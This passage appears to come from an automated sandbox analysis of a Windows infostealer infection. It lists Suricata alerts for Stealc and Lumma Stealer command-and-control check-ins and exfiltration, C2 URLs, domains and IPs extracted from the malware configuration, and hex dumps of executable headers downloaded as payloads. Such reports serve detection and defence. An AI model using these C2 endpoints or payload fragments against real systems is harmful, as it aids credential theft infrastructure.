Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:59926 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2057124 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI) : 192.168.2.5:59885 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49709 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49704 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:59847 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:59857 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59857 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:59846 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59846 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:59858 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59858 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:59844 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59844 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:59923 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59923 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59855 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:59887 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: founpiuer.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: unknown

Network traffic detected: DNS query count 33

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:01:18 GMTContent-Type: application/octet-streamContent-Length: 1911296Last-Modified: Fri, 01 Nov 2024 03:42:54 GMTConnection: keep-aliveETag: "67244e3e-1d2a00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 4b 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 4c 00 00 04 00 00 c9 f3 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f4 db 4b 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a4 db 4b 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2b 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 64 66 69 6c 73 6c 71 00 10 1a 00 00 d0 31 00 00 0e 1a 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 70 72 70 6a 76 74 72 00 10 00 00 00 e0 4b 00 00 04 00 00 00 04 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 4b 00 00 22 00 00 00 08 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:02:08 GMTContent-Type: application/octet-streamContent-Length: 2874880Last-Modified: Fri, 01 Nov 2024 03:42:33 GMTConnection: keep-aliveETag: "67244e29-2bde00"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 f0 2e 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2f 00 00 04 00 00 f4 fe 2b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 05 00 00 10 00 00 00 7e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 40 03 00 00 00 90 05 00 00 04 00 00 00 8e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 05 00 00 02 00 00 00 92 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 77 6a 71 78 6d 7a 67 71 00 30 29 00 00 b0 05 00 00 24 29 00 00 94 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 78 6f 62 72 72 65 78 64 00 10 00 00 00 e0 2e 00 00 04 00 00 00 b8 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 f0 2e 00 00 22 00 00 00 bc 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:02:18 GMTContent-Type: application/octet-streamContent-Length: 2137600Last-Modified: Fri, 01 Nov 2024 03:42:46 GMTConnection: keep-aliveETag: "67244e36-209e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 00 80 72 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 b0 72 00 00 04 00 00 c2 42 21 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 50 90 2e 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 91 2e 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 70 2e 00 00 10 00 00 00 76 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 80 2e 00 00 00 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 90 2e 00 00 02 00 00 00 86 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 e0 29 00 00 a0 2e 00 00 02 00 00 00 88 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 63 62 62 6a 75 67 7a 6b 00 f0 19 00 00 80 58 00 00 ee 19 00 00 8a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 66 6d 6f 66 73 79 78 00 10 00 00 00 70 72 00 00 04 00 00 00 78 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 80 72 00 00 22 00 00 00 7c 20 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:02:28 GMTContent-Type: application/octet-streamContent-Length: 919552Last-Modified: Fri, 01 Nov 2024 04:00:04 GMTConnection: keep-aliveETag: "67245244-e0800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 3c 52 24 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 0e 00 00 04 00 00 dc bc 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 28 9c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 9c 00 00 00 40 0d 00 00 9e 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 e0 0d 00 00 76 00 00 00 92 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:02:31 GMTContent-Type: application/octet-streamContent-Length: 2778624Last-Modified: Fri, 01 Nov 2024 04:00:31 GMTConnection: keep-aliveETag: "6724525f-2a6600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 6b 78 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 63 66 79 65 73 72 79 79 00 20 2a 00 00 a0 00 00 00 06 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 77 6e 74 75 69 6c 70 00 20 00 00 00 c0 2a 00 00 04 00 00 00 40 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 e0 2a 00 00 22 00 00 00 44 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 01 Nov 2024 04:02:35 GMTContent-Type: application/octet-streamContent-Length: 888832Last-Modified: Sun, 27 Oct 2024 06:45:44 GMTConnection: keep-aliveETag: "671de198-d9000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b 7d e6 03 f5 2e e6 03 f5 2e e6 03 f5 2e 89 75 5e 2e fe 03 f5 2e 89 75 6b 2e eb 03 f5 2e 89 75 5f 2e dc 03 f5 2e ef 7b 76 2e e5 03 f5 2e 66 7a f4 2f e4 03 f5 2e ef 7b 66 2e e1 03 f5 2e e6 03 f4 2e 89 03 f5 2e 89 75 5a 2e f4 03 f5 2e 89 75 68 2e e7 03 f5 2e 52 69 63 68 e6 03 f5 2e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 38 6e 1e 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 d0 01 00 00 dc 2c 00 00 00 00 00 90 6c 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 2e 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 58 ab 02 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 2e 00 ec 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 8a cf 01 00 00 10 00 00 00 d0 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 08 d1 00 00 00 e0 01 00 00 d2 00 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 9c bd 2b 00 00 c0 02 00 00 9e 0a 00 00 a6 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 3e 4b 00 00 00 80 2e 00 00 4c 00 00 00 44 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
